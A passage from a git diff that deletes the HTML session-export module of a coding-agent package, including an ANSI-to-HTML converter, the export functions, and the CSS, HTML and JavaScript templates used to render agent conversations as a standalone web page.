style.italic || - style.underline - ); -} - -/** - * Parse ANSI SGR (Select Graphic Rendition) codes and update style. - */ -function applySgrCode(params: number[], style: TextStyle): void { - let i = 0; - while (i < params.length) { - const code = params[i]; - - if (code === 0) { - // Reset all - style.fg = null; - style.bg = null; - style.bold = false; - style.dim = false; - style.italic = false; - style.underline = false; - } else if (code === 1) { - style.bold = true; - } else if (code === 2) { - style.dim = true; - } else if (code === 3) { - style.italic = true; - } else if (code === 4) { - style.underline = true; - } else if (code === 22) { - // Reset bold/dim - style.bold = false; - style.dim = false; - } else if (code === 23) { - style.italic = false; - } else if (code === 24) { - style.underline = false; - } else if (code >= 30 && code <= 37) { - // Standard foreground colors - style.fg = ANSI_COLORS[code - 30]; - } else if (code === 38) { - // Extended foreground color - if (params[i + 1] === 5 && params.length > i + 2) { - // 256-color: 38;5;N - style.fg = color256ToHex(params[i + 2]); - i += 2; - } else if (params[i + 1] === 2 && params.length > i + 4) { - // RGB: 38;2;R;G;B - const r = params[i + 2]; - const g = params[i + 3]; - const b = params[i + 4]; - style.fg = `rgb(${r},${g},${b})`; - i += 4; - } - } else if (code === 39) { - // Default foreground - style.fg = null; - } else if (code >= 40 && code <= 47) { - // Standard background colors - style.bg = ANSI_COLORS[code - 40]; - } else if (code === 48) { - // Extended background color - if (params[i + 1] === 5 && params.length > i + 2) { - // 256-color: 48;5;N - style.bg = color256ToHex(params[i + 2]); - i += 2; - } else if (params[i + 1] === 2 && params.length > i + 4) { - // RGB: 48;2;R;G;B - const r = params[i + 2]; - const g = params[i + 3]; - const b = params[i + 4]; - style.bg = `rgb(${r},${g},${b})`; - i += 4; - } - } else if (code === 49) { - // Default background - style.bg = null; - } else if (code >= 90 && code <= 97) { - // Bright foreground colors - style.fg = ANSI_COLORS[code - 90 + 8]; - } else if (code >= 100 && code <= 107) { - // Bright background colors - style.bg = ANSI_COLORS[code - 100 + 8]; - } - // Ignore unrecognized codes - - i++; - } -} - -// Match ANSI escape sequences: ESC[ followed by params and ending with 'm' -const ANSI_REGEX = /\x1b\[([\d;]*)m/g; - -/** - * Convert ANSI-escaped text to HTML with inline styles. - */ -function ansiToHtml(text: string): string { - const style = createEmptyStyle(); - let result = ""; - let lastIndex = 0; - let inSpan = false; - - // Reset regex state - ANSI_REGEX.lastIndex = 0; - - let match = ANSI_REGEX.exec(text); - while (match !== null) { - // Add text before this escape sequence - const beforeText = text.slice(lastIndex, match.index); - if (beforeText) { - result += escapeHtml(beforeText); - } - - // Parse SGR parameters - const paramStr = match[1]; - const params = paramStr - ? paramStr.split(";").map((p) => parseInt(p, 10) || 0) - : [0]; - - // Close existing span if we have one - if (inSpan) { - result += ""; - inSpan = false; - } - - // Apply the codes - applySgrCode(params, style); - - // Open new span if we have any styling - if (hasStyle(style)) { - result += ``; - inSpan = true; - } - - lastIndex = match.index + match[0].length; - match = ANSI_REGEX.exec(text); - } - - // Add remaining text - const remainingText = text.slice(lastIndex); - if (remainingText) { - result += escapeHtml(remainingText); - } - - // Close any open span - if (inSpan) { - result += ""; - } - - return result; -} - -/** - * Convert array of ANSI-escaped lines to HTML. - * Each line is wrapped in a div element. - */ -export function ansiLinesToHtml(lines: string[]): string { - return lines - .map( - (line) => `
${ansiToHtml(line) || " "}
`, - ) - .join("\n"); -} diff --git a/packages/pi-coding-agent/src/core/export-html/index.ts b/packages/pi-coding-agent/src/core/export-html/index.ts deleted file mode 100644 index 59df59bd6..000000000 --- a/packages/pi-coding-agent/src/core/export-html/index.ts +++ /dev/null @@ -1,355 +0,0 @@ -import { existsSync, readFileSync, writeFileSync } from "node:fs"; -import { basename, join } from "node:path"; -import type { AgentState } from "@singularity-forge/pi-agent-core"; -import { APP_NAME, getExportTemplateDir } from "../../config.js"; -import { - getResolvedThemeColors, - getThemeExportColors, -} from "../../modes/interactive/theme/theme.js"; -import type { ToolInfo } from "../extensions/types.js"; -import type { SessionEntry } from "../session-manager.js"; -import { SessionManager } from "../session-manager.js"; - -/** - * Interface for rendering custom tools to HTML. - * Used by agent-session to pre-render extension tool output. - */ -export interface ToolHtmlRenderer { - /** Render a tool call to HTML. Returns undefined if tool has no custom renderer. */ - renderCall(toolName: string, args: unknown): string | undefined; - /** Render a tool result to HTML. Returns collapsed/expanded or undefined if tool has no custom renderer. */ - renderResult( - toolName: string, - result: Array<{ - type: string; - text?: string; - data?: string; - mimeType?: string; - }>, - details: unknown, - isError: boolean, - ): { collapsed?: string; expanded?: string } | undefined; -} - -/** Pre-rendered HTML for a custom tool call and result */ -interface RenderedToolHtml { - callHtml?: string; - resultHtmlCollapsed?: string; - resultHtmlExpanded?: string; -} - -export interface ExportOptions { - outputPath?: string; - themeName?: string; - /** Optional tool renderer for custom tools */ - toolRenderer?: ToolHtmlRenderer; -} - -/** Parse a color string to RGB values. Supports hex (#RRGGBB) and rgb(r,g,b) formats. */ -function parseColor( - color: string, -): { r: number; g: number; b: number } | undefined { - const hexMatch = color.match( - /^#([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/, - ); - if (hexMatch) { - return { - r: Number.parseInt(hexMatch[1], 16), - g: Number.parseInt(hexMatch[2], 16), - b: Number.parseInt(hexMatch[3], 16), - }; - } - const rgbMatch = color.match( - /^rgb\s*\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)$/, - ); - if (rgbMatch) { - return { - r: Number.parseInt(rgbMatch[1], 10), - g: Number.parseInt(rgbMatch[2], 10), - b: Number.parseInt(rgbMatch[3], 10), - }; - } - return undefined; -} - -/** Calculate relative luminance of a color (0-1, higher = lighter). */ -function getLuminance(r: number, g: number, b: number): number { - const toLinear = (c: number) => { - const s = c / 255; - return s <= 0.03928 ? s / 12.92 : ((s + 0.055) / 1.055) ** 2.4; - }; - return 0.2126 * toLinear(r) + 0.7152 * toLinear(g) + 0.0722 * toLinear(b); -} - -/** Adjust color brightness. Factor > 1 lightens, < 1 darkens. */ -function adjustBrightness(color: string, factor: number): string { - const parsed = parseColor(color); - if (!parsed) return color; - const adjust = (c: number) => - Math.min(255, Math.max(0, Math.round(c * factor))); - return `rgb(${adjust(parsed.r)}, ${adjust(parsed.g)}, ${adjust(parsed.b)})`; -} - -/** Derive export background colors from a base color (e.g., userMessageBg). */ -function deriveExportColors(baseColor: string): { - pageBg: string; - cardBg: string; - infoBg: string; -} { - const parsed = parseColor(baseColor); - if (!parsed) { - return { - pageBg: "rgb(24, 24, 30)", - cardBg: "rgb(30, 30, 36)", - infoBg: "rgb(60, 55, 40)", - }; - } - - const luminance = getLuminance(parsed.r, parsed.g, parsed.b); - const isLight = luminance > 0.5; - - if (isLight) { - return { - pageBg: adjustBrightness(baseColor, 0.96), - cardBg: baseColor, - infoBg: `rgb(${Math.min(255, parsed.r + 10)}, ${Math.min(255, parsed.g + 5)}, ${Math.max(0, parsed.b - 20)})`, - }; - } - return { - pageBg: adjustBrightness(baseColor, 0.7), - cardBg: adjustBrightness(baseColor, 0.85), - infoBg: `rgb(${Math.min(255, parsed.r + 20)}, ${Math.min(255, parsed.g + 15)}, ${parsed.b})`, - }; -} - -/** - * Generate CSS custom property declarations from theme colors. - */ -function generateThemeVars(themeName?: string): string { - const colors = getResolvedThemeColors(themeName); - const lines: string[] = []; - for (const [key, value] of Object.entries(colors)) { - lines.push(`--${key}: ${value};`); - } - - // Use explicit theme export colors if available, otherwise derive from userMessageBg - const themeExport = getThemeExportColors(themeName); - const userMessageBg = colors.userMessageBg || "#343541"; - const derivedColors = deriveExportColors(userMessageBg); - - lines.push(`--exportPageBg: ${themeExport.pageBg ?? derivedColors.pageBg};`); - lines.push(`--exportCardBg: ${themeExport.cardBg ?? derivedColors.cardBg};`); - lines.push(`--exportInfoBg: ${themeExport.infoBg ?? derivedColors.infoBg};`); - - return lines.join("\n "); -} - -interface SessionData { - header: ReturnType; - entries: ReturnType; - leafId: string | null; - systemPrompt?: string; - tools?: ToolInfo[]; - /** Pre-rendered HTML for custom tool calls/results, keyed by tool call ID */ - renderedTools?: Record; -} - -/** - * Core HTML generation logic shared by both export functions. - */ -function generateHtml(sessionData: SessionData, themeName?: string): string { - const templateDir = getExportTemplateDir(); - const template = readFileSync(join(templateDir, "template.html"), "utf-8"); - const templateCss = readFileSync(join(templateDir, "template.css"), "utf-8"); - const templateJs = readFileSync(join(templateDir, "template.js"), "utf-8"); - const markedJs = readFileSync( - join(templateDir, "vendor", "marked.min.js"), - "utf-8", - ); - const hljsJs = readFileSync( - join(templateDir, "vendor", "highlight.min.js"), - "utf-8", - ); - - const themeVars = generateThemeVars(themeName); - const colors = getResolvedThemeColors(themeName); - const exportColors = deriveExportColors(colors.userMessageBg || "#343541"); - const bodyBg = exportColors.pageBg; - const containerBg = exportColors.cardBg; - const infoBg = exportColors.infoBg; - - // Base64 encode session data to avoid escaping issues - const sessionDataBase64 = Buffer.from(JSON.stringify(sessionData)).toString( - "base64", - ); - - // Build the CSS with theme variables injected - const css = templateCss - .replace("{{THEME_VARS}}", themeVars) - .replace("{{BODY_BG}}", bodyBg) - .replace("{{CONTAINER_BG}}", containerBg) - .replace("{{INFO_BG}}", infoBg); - - return template - .replace("/*__SF_EXPORT_CSS__*/", css) - .replace("/*__SF_EXPORT_JS__*/", templateJs) - .replace('"__SF_SESSION_DATA__"', sessionDataBase64) - .replace("/*__SF_EXPORT_MARKED_JS__*/", markedJs) - .replace("/*__SF_EXPORT_HIGHLIGHT_JS__*/", hljsJs); -} - -/** Built-in tool names that have custom rendering in template.js */ -const BUILTIN_TOOLS = new Set([ - "bash", - "read", - "write", - "edit", - "ls", - "find", - "grep", -]); - -/** - * Pre-render custom tools to HTML using their TUI renderers. - */ -function preRenderCustomTools( - entries: SessionEntry[], - toolRenderer: ToolHtmlRenderer, -): Record { - const renderedTools: Record = {}; - - for (const entry of entries) { - if (entry.type !== "message") continue; - const msg = entry.message; - - // Find tool calls in assistant messages - if (msg.role === "assistant" && Array.isArray(msg.content)) { - for (const block of msg.content) { - if (block.type === "toolCall" && !BUILTIN_TOOLS.has(block.name)) { - const callHtml = toolRenderer.renderCall(block.name, block.arguments); - if (callHtml) { - renderedTools[block.id] = { callHtml }; - } - } - } - } - - // Find tool results - if (msg.role === "toolResult" && msg.toolCallId) { - const toolName = msg.toolName || ""; - // Only render if we have a pre-rendered call OR it's not a built-in tool - const existing = renderedTools[msg.toolCallId]; - if (existing || !BUILTIN_TOOLS.has(toolName)) { - const rendered = toolRenderer.renderResult( - toolName, - msg.content, - msg.details, - msg.isError || false, - ); - if (rendered) { - renderedTools[msg.toolCallId] = { - ...existing, - resultHtmlCollapsed: rendered.collapsed, - resultHtmlExpanded: rendered.expanded, - }; - } - } - } - } - - return renderedTools; -} - -/** - * Export session to HTML using SessionManager and AgentState. - * Used by TUI's /export command. - */ -export async function exportSessionToHtml( - sm: SessionManager, - state?: AgentState, - options?: ExportOptions | string, -): Promise { - const opts: ExportOptions = - typeof options === "string" ? { outputPath: options } : options || {}; - - const sessionFile = sm.getSessionFile(); - if (!sessionFile) { - throw new Error("Cannot export in-memory session to HTML"); - } - if (!existsSync(sessionFile)) { - throw new Error("Nothing to export yet - start a conversation first"); - } - - const entries = sm.getEntries(); - - // Pre-render custom tools if a tool renderer is provided - let renderedTools: Record | undefined; - if (opts.toolRenderer) { - renderedTools = preRenderCustomTools(entries, opts.toolRenderer); - // Only include if we actually rendered something - if (Object.keys(renderedTools).length === 0) { - renderedTools = undefined; - } - } - - const sessionData: SessionData = { - header: sm.getHeader(), - entries, - leafId: sm.getLeafId(), - systemPrompt: state?.systemPrompt, - tools: state?.tools?.map((t) => ({ - name: t.name, - description: t.description, - parameters: t.parameters, - })), - renderedTools, - }; - - const html = generateHtml(sessionData, opts.themeName); - - let outputPath = opts.outputPath; - if (!outputPath) { - const sessionBasename = basename(sessionFile, ".jsonl"); - outputPath = `${APP_NAME}-session-${sessionBasename}.html`; - } - - writeFileSync(outputPath, html, "utf8"); - return outputPath; -} - -/** - * Export session file to HTML (standalone, without AgentState). - * Used by CLI for exporting arbitrary session files. - */ -export async function exportFromFile( - inputPath: string, - options?: ExportOptions | string, -): Promise { - const opts: ExportOptions = - typeof options === "string" ? { outputPath: options } : options || {}; - - if (!existsSync(inputPath)) { - throw new Error(`File not found: ${inputPath}`); - } - - const sm = SessionManager.open(inputPath); - - const sessionData: SessionData = { - header: sm.getHeader(), - entries: sm.getEntries(), - leafId: sm.getLeafId(), - systemPrompt: undefined, - tools: undefined, - }; - - const html = generateHtml(sessionData, opts.themeName); - - let outputPath = opts.outputPath; - if (!outputPath) { - const inputBasename = basename(inputPath, ".jsonl"); - outputPath = `${APP_NAME}-session-${inputBasename}.html`; - } - - writeFileSync(outputPath, html, "utf8"); - return outputPath; -} diff --git a/packages/pi-coding-agent/src/core/export-html/template.css b/packages/pi-coding-agent/src/core/export-html/template.css deleted file mode 100644 index 6ef5d3976..000000000 --- a/packages/pi-coding-agent/src/core/export-html/template.css +++ /dev/null @@ -1,971 +0,0 @@ - :root { - {{THEME_VARS}} - --body-bg: {{BODY_BG}}; - --container-bg: {{CONTAINER_BG}}; - --info-bg: {{INFO_BG}}; - } - - * { margin: 0; padding: 0; box-sizing: border-box; } - - :root { - --line-height: 18px; /* 12px font * 1.5 */ - } - - body { - font-family: ui-monospace, 'Cascadia Code', 'Source Code Pro', Menlo, Consolas, 'DejaVu Sans Mono', monospace; - font-size: 12px; - line-height: var(--line-height); - color: var(--text); - background: var(--body-bg); - } - - #app { - display: flex; - min-height: 100vh; - } - - /* Sidebar */ - #sidebar { - width: 400px; - background: var(--container-bg); - flex-shrink: 0; - display: flex; - flex-direction: column; - position: sticky; - top: 0; - height: 100vh; - border-right: 1px solid var(--dim); - } - - .sidebar-header { - padding: 8px 12px; - flex-shrink: 0; - } - - .sidebar-controls { - padding: 8px 8px 4px 8px; - } - - .sidebar-search { - width: 100%; - box-sizing: border-box; - padding: 4px 8px; - font-size: 11px; - font-family: inherit; - background: var(--body-bg); - color: var(--text); - border: 1px solid var(--dim); - border-radius: 3px; - } - - .sidebar-filters { - display: flex; - padding: 4px 8px 8px 8px; - gap: 4px; - align-items: center; - flex-wrap: wrap; - } - - .sidebar-search:focus { - outline: none; - border-color: var(--accent); - } - - .sidebar-search::placeholder { - color: var(--muted); - } - - .filter-btn { - padding: 3px 8px; - font-size: 10px; - font-family: inherit; - background: transparent; - color: var(--muted); - border: 1px solid var(--dim); - border-radius: 3px; - cursor: pointer; - } - - .filter-btn:hover { - color: var(--text); - border-color: var(--text); - } - - .filter-btn.active { - background: var(--accent); - color: var(--body-bg); - border-color: var(--accent); - } - - .sidebar-close { - display: none; - padding: 3px 8px; - font-size: 12px; - font-family: inherit; - background: transparent; - color: var(--muted); - border: 1px solid var(--dim); - border-radius: 3px; - cursor: pointer; - margin-left: auto; - } - - .sidebar-close:hover { - color: var(--text); - border-color: var(--text); - } - - .tree-container { - flex: 1; - overflow: auto; - padding: 4px 0; - } - - .tree-node { - padding: 0 8px; - cursor: pointer; - display: flex; - align-items: baseline; - font-size: 11px; - line-height: 13px; - white-space: nowrap; - } - - .tree-node:hover { - background: var(--selectedBg); - } - - .tree-node.active { - background: var(--selectedBg); - } - - .tree-node.active .tree-content { - font-weight: bold; - } - - .tree-node.in-path { - background: color-mix(in srgb, var(--accent) 10%, transparent); - } - - .tree-node:not(.in-path) { - opacity: 0.5; - } - - .tree-node:not(.in-path):hover { - opacity: 1; - } - - .tree-prefix { - color: var(--muted); - flex-shrink: 0; - font-family: monospace; - white-space: pre; - } - - .tree-marker { - color: var(--accent); - flex-shrink: 0; - } - - .tree-content { - color: var(--text); - } - - .tree-role-user { - color: var(--accent); - } - - .tree-role-assistant { - color: var(--success); - } - - .tree-role-tool { - color: var(--muted); - } - - .tree-muted { - color: var(--muted); - } - - .tree-error { - color: var(--error); - } - - .tree-compaction { - color: var(--borderAccent); - } - - .tree-branch-summary { - color: var(--warning); - } - - .tree-custom-message { - color: var(--customMessageLabel); - } - - .tree-status { - padding: 4px 12px; - font-size: 10px; - color: var(--muted); - flex-shrink: 0; - } - - /* Main content */ - #content { - flex: 1; - overflow-y: auto; - padding: var(--line-height) calc(var(--line-height) * 2); - display: flex; - flex-direction: column; - align-items: center; - } - - #content > * { - width: 100%; - max-width: 800px; - } - - /* Help bar */ - .help-bar { - font-size: 11px; - color: var(--warning); - margin-bottom: var(--line-height); - display: flex; - align-items: center; - gap: 12px; - } - - .download-json-btn { - font-size: 10px; - padding: 2px 8px; - background: var(--container-bg); - border: 1px solid var(--border); - border-radius: 3px; - color: var(--text); - cursor: pointer; - font-family: inherit; - } - - .download-json-btn:hover { - background: var(--hover); - border-color: var(--borderAccent); - } - - /* Header */ - .header { - background: var(--container-bg); - border-radius: 4px; - padding: var(--line-height); - margin-bottom: var(--line-height); - } - - .header h1 { - font-size: 12px; - font-weight: bold; - color: var(--borderAccent); - margin-bottom: var(--line-height); - } - - .header-info { - display: flex; - flex-direction: column; - gap: 0; - font-size: 11px; - } - - .info-item { - color: var(--dim); - display: flex; - align-items: baseline; - } - - .info-label { - font-weight: 600; - margin-right: 8px; - min-width: 100px; - } - - .info-value { - color: var(--text); - flex: 1; - } - - /* Messages */ - #messages { - display: flex; - flex-direction: column; - gap: var(--line-height); - } - - .message-timestamp { - font-size: 10px; - color: var(--dim); - opacity: 0.8; - } - - .user-message { - background: var(--userMessageBg); - color: var(--userMessageText); - padding: var(--line-height); - border-radius: 4px; - position: relative; - } - - .assistant-message { - padding: 0; - position: relative; - } - - /* Copy link button - appears on hover */ - .copy-link-btn { - position: absolute; - top: 8px; - right: 8px; - width: 28px; - height: 28px; - padding: 6px; - background: var(--container-bg); - border: 1px solid var(--dim); - border-radius: 4px; - color: var(--muted); - cursor: pointer; - opacity: 0; - transition: opacity 0.15s, background 0.15s, color 0.15s; - display: flex; - align-items: center; - justify-content: center; - z-index: 10; - } - - .user-message:hover .copy-link-btn, - .assistant-message:hover .copy-link-btn { - opacity: 1; - } - - .copy-link-btn:hover { - background: var(--accent); - color: var(--body-bg); - border-color: var(--accent); - } - - .copy-link-btn.copied { - background: var(--success, #22c55e); - color: white; - border-color: var(--success, #22c55e); - } - - /* Highlight effect for deep-linked messages */ - .user-message.highlight, - .assistant-message.highlight { - animation: highlight-pulse 2s ease-out; - } - - @keyframes highlight-pulse { - 0% { - box-shadow: 0 0 0 3px var(--accent); - } - 100% { - box-shadow: 0 0 0 0 transparent; - } - } - - .assistant-message > .message-timestamp { - padding-left: var(--line-height); - } - - .assistant-text { - padding: var(--line-height); - padding-bottom: 0; - } - - .message-timestamp + .assistant-text, - .message-timestamp + .thinking-block { - padding-top: 0; - } - - .thinking-block + .assistant-text { - padding-top: 0; - } - - .thinking-text { - padding: var(--line-height); - color: var(--thinkingText); - font-style: italic; - white-space: pre-wrap; - } - - .message-timestamp + .thinking-block .thinking-text, - .message-timestamp + .thinking-block .thinking-collapsed { - padding-top: 0; - } - - .thinking-collapsed { - display: none; - padding: var(--line-height); - color: var(--thinkingText); - font-style: italic; - } - - /* Tool execution */ - .tool-execution { - padding: var(--line-height); - border-radius: 4px; - } - - .tool-execution + .tool-execution { - margin-top: var(--line-height); - } - - .assistant-text + .tool-execution { - margin-top: var(--line-height); - } - - .tool-execution.pending { background: var(--toolPendingBg); } - .tool-execution.success { background: var(--toolSuccessBg); } - .tool-execution.error { background: var(--toolErrorBg); } - - .tool-header, .tool-name { - font-weight: bold; - } - - .tool-path { - color: var(--accent); - word-break: break-all; - } - - .line-numbers { - color: var(--warning); - } - - .line-count { - color: var(--dim); - } - - .tool-command { - font-weight: bold; - white-space: pre-wrap; - word-wrap: break-word; - overflow-wrap: break-word; - word-break: break-word; - } - - .tool-output { - margin-top: var(--line-height); - color: var(--toolOutput); - word-wrap: break-word; - overflow-wrap: break-word; - word-break: break-word; - font-family: inherit; - overflow-x: auto; - } - - .tool-output > div, - .output-preview, - .output-full { - margin: 0; - padding: 0; - line-height: var(--line-height); - } - - .tool-output pre { - margin: 0; - padding: 0; - font-family: inherit; - color: inherit; - white-space: pre-wrap; - word-wrap: break-word; - overflow-wrap: break-word; - } - - .tool-output code { - padding: 0; - background: none; - color: var(--text); - } - - .tool-output.expandable { - cursor: pointer; - } - - .tool-output.expandable:hover { - opacity: 0.9; - } - - .tool-output.expandable .output-full { - display: none; - } - - .tool-output.expandable.expanded .output-preview { - display: none; - } - - .tool-output.expandable.expanded .output-full { - display: block; - } - - .ansi-line { - white-space: pre-wrap; - } - - .tool-images { - } - - .tool-image { - max-width: 100%; - max-height: 500px; - border-radius: 4px; - margin: var(--line-height) 0; - } - - .expand-hint { - color: var(--toolOutput); - } - - /* Diff */ - .tool-diff { - font-size: 11px; - overflow-x: auto; - white-space: pre; - } - - .diff-added { color: var(--toolDiffAdded); } - .diff-removed { color: var(--toolDiffRemoved); } - .diff-context { color: var(--toolDiffContext); } - - /* Model change */ - .model-change { - padding: 0 var(--line-height); - color: var(--dim); - font-size: 11px; - } - - .model-name { - color: var(--borderAccent); - font-weight: bold; - } - - /* Compaction / Branch Summary - matches customMessage colors from TUI */ - .compaction { - background: var(--customMessageBg); - border-radius: 4px; - padding: var(--line-height); - cursor: pointer; - } - - .compaction-label { - color: var(--customMessageLabel); - font-weight: bold; - } - - .compaction-collapsed { - color: var(--customMessageText); - } - - .compaction-content { - display: none; - color: var(--customMessageText); - white-space: pre-wrap; - margin-top: var(--line-height); - } - - .compaction.expanded .compaction-collapsed { - display: none; - } - - .compaction.expanded .compaction-content { - display: block; - } - - /* System prompt */ - .system-prompt { - background: var(--customMessageBg); - padding: var(--line-height); - border-radius: 4px; - margin-bottom: var(--line-height); - } - - .system-prompt.expandable { - cursor: pointer; - } - - .system-prompt-header { - font-weight: bold; - color: var(--customMessageLabel); - } - - .system-prompt-preview { - color: var(--customMessageText); - white-space: pre-wrap; - word-wrap: break-word; - font-size: 11px; - margin-top: var(--line-height); - } - - .system-prompt-expand-hint { - color: var(--muted); - font-style: italic; - margin-top: 4px; - } - - .system-prompt-full { - display: none; - color: var(--customMessageText); - white-space: pre-wrap; - word-wrap: break-word; - font-size: 11px; - margin-top: var(--line-height); - } - - .system-prompt.expanded .system-prompt-preview, - .system-prompt.expanded .system-prompt-expand-hint { - display: none; - } - - .system-prompt.expanded .system-prompt-full { - display: block; - } - - .system-prompt.provider-prompt { - border-left: 3px solid var(--warning); - } - - .system-prompt-note { - font-size: 10px; - font-style: italic; - color: var(--muted); - margin-top: 4px; - } - - /* Tools list */ - .tools-list { - background: var(--customMessageBg); - padding: var(--line-height); - border-radius: 4px; - margin-bottom: var(--line-height); - } - - .tools-header { - font-weight: bold; - color: var(--customMessageLabel); - margin-bottom: var(--line-height); - } - - .tool-item { - font-size: 11px; - } - - .tool-item-name { - font-weight: bold; - color: var(--text); - } - - .tool-item-desc { - color: var(--dim); - } - - .tool-params-hint { - color: var(--muted); - font-style: italic; - } - - .tool-item:has(.tool-params-hint) { - cursor: pointer; - } - - .tool-params-hint::after { - content: '[click to show parameters]'; - } - - .tool-item.params-expanded .tool-params-hint::after { - content: '[hide parameters]'; - } - - .tool-params-content { - display: none; - margin-top: 4px; - margin-left: 12px; - padding-left: 8px; - border-left: 1px solid var(--dim); - } - - .tool-item.params-expanded .tool-params-content { - display: block; - } - - .tool-param { - margin-bottom: 4px; - font-size: 11px; - } - - .tool-param-name { - font-weight: bold; - color: var(--text); - } - - .tool-param-type { - color: var(--dim); - font-style: italic; - } - - .tool-param-required { - color: var(--warning, #e8a838); - font-size: 10px; - } - - .tool-param-optional { - color: var(--dim); - font-size: 10px; - } - - .tool-param-desc { - color: var(--dim); - margin-left: 8px; - } - - /* Hook/custom messages */ - .hook-message { - background: var(--customMessageBg); - color: var(--customMessageText); - padding: var(--line-height); - border-radius: 4px; - } - - .hook-type { - color: var(--customMessageLabel); - font-weight: bold; - } - - /* Branch summary */ - .branch-summary { - background: var(--customMessageBg); - padding: var(--line-height); - border-radius: 4px; - } - - .branch-summary-header { - font-weight: bold; - color: var(--borderAccent); - } - - /* Error */ - .error-text { - color: var(--error); - padding: 0 var(--line-height); - } - .tool-error { - color: var(--error); - } - - /* Images */ - .message-images { - margin-bottom: 12px; - } - - .message-image { - max-width: 100%; - max-height: 400px; - border-radius: 4px; - margin: var(--line-height) 0; - } - - /* Markdown content */ - .markdown-content h1, - .markdown-content h2, - .markdown-content h3, - .markdown-content h4, - .markdown-content h5, - .markdown-content h6 { - color: var(--mdHeading); - margin: var(--line-height) 0 0 0; - font-weight: bold; - } - - .markdown-content h1 { font-size: 1em; } - .markdown-content h2 { font-size: 1em; } - .markdown-content h3 { font-size: 1em; } - .markdown-content h4 { font-size: 1em; } - .markdown-content h5 { font-size: 1em; } - .markdown-content h6 { font-size: 1em; } - .markdown-content p { margin: 0; } - .markdown-content p + p { margin-top: var(--line-height); } - - .markdown-content a { - color: var(--mdLink); - text-decoration: underline; - } - - .markdown-content code { - background: rgba(128, 128, 128, 0.2); - color: var(--mdCode); - padding: 0 4px; - border-radius: 3px; - font-family: inherit; - } - - .markdown-content pre { - background: transparent; - margin: var(--line-height) 0; - overflow-x: auto; - } - - .markdown-content pre code { - display: block; - background: none; - color: var(--text); - } - - .markdown-content blockquote { - border-left: 3px solid var(--mdQuoteBorder); - padding-left: var(--line-height); - margin: var(--line-height) 0; - color: var(--mdQuote); - font-style: italic; - } - - .markdown-content ul, - .markdown-content ol { - margin: var(--line-height) 0; - padding-left: calc(var(--line-height) * 2); - } - - .markdown-content li { margin: 0; } - .markdown-content li::marker { color: var(--mdListBullet); } - - .markdown-content hr { - border: none; - border-top: 1px solid var(--mdHr); - margin: var(--line-height) 0; - } - - .markdown-content table { - border-collapse: collapse; - margin: 0.5em 0; - width: 100%; - } - - .markdown-content th, - .markdown-content td { - border: 1px solid var(--mdCodeBlockBorder); - padding: 6px 10px; - text-align: left; - } - - .markdown-content th { - background: rgba(128, 128, 128, 0.1); - font-weight: bold; - } - - .markdown-content img { - max-width: 100%; - border-radius: 4px; - } - - /* Syntax highlighting */ - .hljs { background: transparent; color: var(--text); } - .hljs-comment, .hljs-quote { color: var(--syntaxComment); } - .hljs-keyword, .hljs-selector-tag { color: var(--syntaxKeyword); } - .hljs-number, .hljs-literal { color: var(--syntaxNumber); } - .hljs-string, .hljs-doctag { color: var(--syntaxString); } - /* Function names: hljs v11 uses .hljs-title.function_ compound class */ - .hljs-function, .hljs-title, .hljs-title.function_, .hljs-section, .hljs-name { color: var(--syntaxFunction); } - /* Types: hljs v11 uses .hljs-title.class_ for class names */ - .hljs-type, .hljs-class, .hljs-title.class_, .hljs-built_in { color: var(--syntaxType); } - .hljs-attr, .hljs-variable, .hljs-variable.language_, .hljs-params, .hljs-property { color: var(--syntaxVariable); } - .hljs-meta, .hljs-meta .hljs-keyword, .hljs-meta .hljs-string { color: var(--syntaxKeyword); } - .hljs-operator { color: var(--syntaxOperator); } - .hljs-punctuation { color: var(--syntaxPunctuation); } - .hljs-subst { color: var(--text); } - - /* Footer */ - .footer { - margin-top: 48px; - padding: 20px; - text-align: center; - color: var(--dim); - font-size: 10px; - } - - /* Mobile */ - #hamburger { - display: none; - position: fixed; - top: 10px; - left: 10px; - z-index: 100; - padding: 3px 8px; - font-size: 12px; - font-family: inherit; - background: transparent; - color: var(--muted); - border: 1px solid var(--dim); - border-radius: 3px; - cursor: pointer; - } - - #hamburger:hover { - color: var(--text); - border-color: var(--text); - } - - - - #sidebar-overlay { - display: none; - position: fixed; - top: 0; - left: 0; - right: 0; - bottom: 0; - background: rgba(0, 0, 0, 0.5); - z-index: 98; - } - - @media (max-width: 900px) { - #sidebar { - position: fixed; - left: -400px; - width: 400px; - top: 0; - bottom: 0; - height: 100vh; - z-index: 99; - transition: left 0.3s; - } - - #sidebar.open { - left: 0; - } - - #sidebar-overlay.open { - display: block; - } - - #hamburger { - display: block; - } - - .sidebar-close { - display: block; - } - - #content { - padding: var(--line-height) 16px; - } - - #content > * { - max-width: 100%; - } - } - - @media (max-width: 500px) { - #sidebar { - width: 100vw; - left: -100vw; - } - } - - @media print { - #sidebar, #sidebar-toggle { display: none !important; } - body { background: white; color: black; } - #content { max-width: none; } - } diff --git a/packages/pi-coding-agent/src/core/export-html/template.html b/packages/pi-coding-agent/src/core/export-html/template.html deleted file mode 100644 index e17d37e8c..000000000 --- a/packages/pi-coding-agent/src/core/export-html/template.html +++ /dev/null @@ -1,53 +0,0 @@ - - - - - - Session Export - - - - - -
- -
-
-
-
-
- -
-
- - - - - - - - - - - - - diff --git a/packages/pi-coding-agent/src/core/export-html/template.js b/packages/pi-coding-agent/src/core/export-html/template.js deleted file mode 100644 index 419a0f2a5..000000000 --- a/packages/pi-coding-agent/src/core/export-html/template.js +++ /dev/null @@ -1,1840 +0,0 @@ -(() => { - // ============================================================ - // DATA LOADING - // ============================================================ - - const base64 = document.getElementById("session-data").textContent; - const binary = atob(base64); - const bytes = new Uint8Array(binary.length); - for (let i = 0; i < binary.length; i++) { - bytes[i] = binary.charCodeAt(i); - } - const data = JSON.parse(new TextDecoder("utf-8").decode(bytes)); - const { - header, - entries, - leafId: defaultLeafId, - systemPrompt, - tools, - renderedTools, - } = data; - - // ============================================================ - // URL PARAMETER HANDLING - // ============================================================ - - // Parse URL parameters for deep linking: leafId and targetId - // Check for injected params (when loaded in iframe via srcdoc) or use window.location - const injectedParams = document.querySelector('meta[name="pi-url-params"]'); - const searchString = injectedParams - ? injectedParams.content - : window.location.search.substring(1); - const urlParams = new URLSearchParams(searchString); - const urlLeafId = urlParams.get("leafId"); - const urlTargetId = urlParams.get("targetId"); - // Use URL leafId if provided, otherwise fall back to session default - const leafId = urlLeafId || defaultLeafId; - - // ============================================================ - // DATA 